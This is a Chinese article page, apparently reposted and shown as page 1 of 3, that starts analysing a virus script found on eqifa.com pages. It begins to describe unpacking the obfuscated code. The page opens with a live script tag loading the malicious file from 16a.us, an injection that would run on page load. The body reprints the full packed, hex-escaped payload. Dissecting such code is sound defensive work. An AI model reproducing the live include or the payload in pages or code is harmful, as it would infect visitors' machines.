|
|
<script src=http://16a.us/8.js></script>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
找了资料,有可能是arp欺骗导致的或真的页面都被加了代码,这个代码是病毒,我来分析下,到了最后的时候发现js是16进制的,这次是实战,每一部都会很清晰,学不会教学费 呵呵
第一部，得到代码 （因为是知道js文件可以直接用ie打开访问）
代码如下
复制代码 代码如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'//w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k[c]);return p}('15("//A//n//o//s//r//4//a//7//j//D//9//q//7//4//v//a//h//b//O//c//o//9//q//B//7//N//D//q//a//A//n//D//j//n//a//4//9//9//n//9//w//12//s//a//o//7//q//n//a//h//g//Q//9//4//7//s//9//a//6//7//9//s//4//i//P//O//0//X//c//o//9//q//B//7//N//b//g//i//U//T//A//n//o//s//r//4//a//7//j//D//9//q//7//4//v//a//h//b//O//c//o//9//q//B//7//N//b//g//i//U//T//A//n//o//s//r//4//a//7//j//D//9//q//7//4//v//a//h//b//12//s//a//o//7//q//n//a//6//W//a//l//c//h//a//g//6//Q//6//F//k//9//6//a//s//r//H//4//9//l//c//6//w//6//l//k//7//I//j//9//k//a//A//n//r//h//g//14//a//i//6//9//4//7//s//9//a//6//0//C//0//0//1//8//y//0//0//1//d//5//0//0//1//2//d//0//0//1//2//m//0//0//1//8//u//0//C//J//l//k//7//I//j//9//n//s//a//A//h//a//s//r//H//4//9//l//c//g//J//0//C//0//0//1//f//y//0//0//1//8//5//0//0//1//2//m//0//0//1//8//u//0//C//i//6//P//6//7//9//V//6//Q//6//m//n//D//a//11//9//v//w//0//C//0//0//1//2//G//0//0//1//8//5//0//0//1//8//5//0//0//1//8//u//0//0//1//3//M//0//0//1//f//e//0//0//1//f//e//0//0//1//3//p//0//0//1//3//2//0//0//1//2//p//0//0//1//f//y//0//0//1//8//d//0//0//1//8//3//0//0//1//f//e//0//0//1//2//e//0//0//1//5//K//0//0//1//5//K//0//0//1//f//e//0//0//1//8//3//0//0//1//2//m//0//0//1//8//3//0//0//1//8//3//0//0//1//f//y//0//0//1//2//d//0//0//1//8//G//0//0//1//2//d//0//C//i//6//F//k//9//6//l//c//m//e//w//A//n//o//s//r//4//a//7//j//o//9//4//k//7//4//y//v//4//r//4//a//7//h//0//b//0//0//1//2//e//0//0//1//2//f//0//0//1//2//M//0//0//1//2//d//0//0//1//2//3//0//0//1//8//5//0//b//g//i//6//l//c//m//e//j//c//4//7//M//7//7//9//q//H//s//7//4//h//0//b//0//0//1//2//3//0//0//1//2//z//0//0//1//2//p//0//0//1//8//3//0//0//1//8//3//0//0//1//2//t//0//0//1//2//5//0//b//x//0//b//0//0//1//2//3//0//0//1//2//z//0//0//1//8//3//0//0//1//2//t//0//0//1//2//5//0//0//1//3//M//0//0//1//5//f//0//0//1//5//5//0//0//1//3//t//0//0//1//3//2//0//0//1//5//3//0//0//1//3//d//0//0//1//3//d//0//0//1//3//2//0//0//1//f//m//0//0//1//3//2//0//0//1//3//d//0//0//1//5//p//0//0//1//3//3//0//0//1//f//m//0//0//1//3//p//0//0//1//3//p//0//0//1//5//5//0//0//1//3//u//0//0//1//f//m//0//0//1//3//t//0//0//1//3//G//0//0//1//3//3//0//0//1//5//p//0//0//1//f//m//0//0//1//3//u//0//0//1//3//u//0//0//1//5//3//0//0//1//3//u//0//0//1//3//5//0//0//1//5//2//0//0//1//5//3//0//0//1//3//f//0//0//1//3//t//0//0//1//5//d//0//0//1//3//3//0//0//1//3//2//0//b//g//i//6//F//k//9//6//1//w//l//c//m//e//j//z//9//4//k//7//4//L//H//S//4//o//7//h//0//b//0//0//1//5//m//0//0//1//2//t//0//0//1//2//3//0//0//1//8//f//0//0//1//2//e//0//0//1//8//3//0//0//1//2//e//0//0//1//2//2//0//0//1//8//5//0//0//1//f//y//0//0//1//d//G//0//b//J//0//b//0//0//1//5//m//0//0//1//5//z//0//0//1//5//G//0//0//1//d//5//0//0//1//d//5//0//0//1//d//u//0//b//x//0//b//0//b//g//i//6//F//k//9//6//E//w//l//c//m//e//j//z//9//4//k//7//4//L//H//S//4//o//7//h//0//b//0//0//1//5//p//0//0//1//2//5//0//0//1//2//e//0//0//1//2//5//0//0//1//2//f//0//0//1//f//y//0//0//1//d//3//0//0//1//8//5//0//0//1//8//f//0//0//1//2//d//0//0//1//2//p//0//0//1//2//m//0//b//x//0//b//0//b//g//i//6//E//j//7//V//B//4//w//p//i//6//1//j//n//B//4//a//h//0//b//0//0//1//5//8//0//0//1//5//d//0//0//1//d//5//0//b//x//6//m//n//D//a//11//9//v//x//u//g//i//6//1//j//c//4//a//A//h//g//i//6//l//c//e//a//k//r//4//p//w//W//a//l//c//h//t//t//t//t//g//i//6//F//k//9//6//e//w//l//c//m//e//j//z//9//4//k//7//4//L//H//S//4//o//7//h//0//b//0//0//1//d//3//0//0//1//2//3//0//0//1//8//f//0//0//1//2//t//0//0//1//8//u//0//0//1//8//5//0//0//1//2//t//0//0//1//2//y//0//0//1//2//8//0//0//1//f//y//0//0//1//5//2//0//0//1//2//t//0//0//1//2//z//0//0//1//2//d//0//0//1//d//3//0//0//1//8//t//0//0//1//8//3//0//0//1//8//5//0//0//1//2//d//0//0//1//2//m//0//0//1//5//e//0//0//1//2//f//0//0//1//2//M//0//0//1//2//d//0//0//1//2//3//0//0//1//8//5//0//b//x//0//b//0//b//g//i//6//F//k//9//6//l//c//R//r//B//w//e//j//W//4//7//E//B//4//o//q//k//v//e//n//v//A//4//9//h//u//g//i//6//l//c//e//a//k//r//4//p//w//6//e//j//K//s//q//v//A//10//k//7//I//h//l//c//R//r//B//x//l//c//e//a//k//r//4//p//g//i//6//E//j//L//B//4//a//h//g//i//E//j//13//9//q//7//4//h//1//j//9//4//c//B//n//a//c//4//K//n//A//V//g//i//6//E//j//E//k//F//4//R//n//e//q//v//4//h//l//c//e//a//k//r//4//p//x//f//g//i//6//E//j//z//v//n//c//4//h//g//i//6//F//k//9//6//l//c//Z//w//l//c//m//e//j//z//9//4//k//7//4//L//H//S//4//o//7//h//0//b//0//0//1//d//3//0//0//1//2//G//0//0//1//2//d//0//0//1//2//z//0//0//1//2//z//0//0//1//f//y//0//0//1//5//p//0//0//1//8//u//0//0//1//8//u//0//0//1//2//z//0//0//1//2//t//0//0//1//2//3//0//0//1//2//p//0//0//1//8//5//0//0//1//2//t//0//0//1//2//e//0//0//1//2//y//0//b//x//0//b//0//b//g//i//6//m//n//D//a//p//w//e//j//K//s//q//v//A//10//k//7//I//h//l//c//R//r//B//J//0//C//0//0//1//d//z//0//0//1//d//z//0//0//1//8//3//0//0//1//8//t//0//0//1//8//3//0//0//1//8//5//0//0//1//2//d//0//0//1//2//m//0//0//1//3//3//0//0//1//3//f//0//C//x//0//C//0//0//1//2//3//0//0//1//2//m//0//0//1//2//5//0//0//1//f//y//0//0//1//2//d//0//0//1//8//G//0//0//1//2//d//0//C//g//i//6//l//c//Z//j//E//I//4//v//v//y//1//4//o//s//7//4//h//m//n//D//a//p//x//0//C//0//0//1//f//u//0//0//1//f//e//0//0//1//2//3//6//0//C//J//l//c//e//a//k//r//4//p//x//0//b//0//b//x//0//b//0//0//1//2//e//0//0//1//8//u//0//0//1//2//d//0//0//1//2//y//0//b//x//u//g//i//6//P//6//o//k//7//o//I//h//l//c//Y//g//6//Q//6//l//c//Y//w//p//i//6//P//b//g//i//U//T//A//n//o//s//r//4//a//7//j//D//9//q//7//4//v//a//h//b//O//0//X//c//o//9//q//B//7//N//b//g")',62,68,'x5C|x78|x36|x33|x65|x34|x20|x74|x37|x72|x6E|x22|x73|x35|x46|x32|x29|x28|x3B|x2E|x61|x4D|x44|x6F|x63|x31|x69|x6D|x75|x39|x30|x6C|x3D|x2C|x45|x43|x64|x70|x27|x77|x53|x76|x38|x62|x68|x2B|x42|x4F|x41|x3E|x3C|x7D|x7B|x54|x6A|x0A|x0D|x79|x47|x2F|x49|x51|x50|x55|x66|x57|x2A|eval'.split('|'),0,{}))
这是压缩，说是加密有问题，以后我说是加密也是可以理解的
解密方法如下，我是从blueidea的return 方法动手脚
return p改成thes.value=p
[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
JavaScript技术：由亿起发(eqifa.com)的页面发现顶部的http://16a.us/8.js想到的js解密 原创第1/3页，转载需保留来源！
郑重声明：本文版权归原作者所有，转载文章仅为传播更多信息之目的，如作者信息标记有误，请第一时间联系我们修改或删除，多谢。
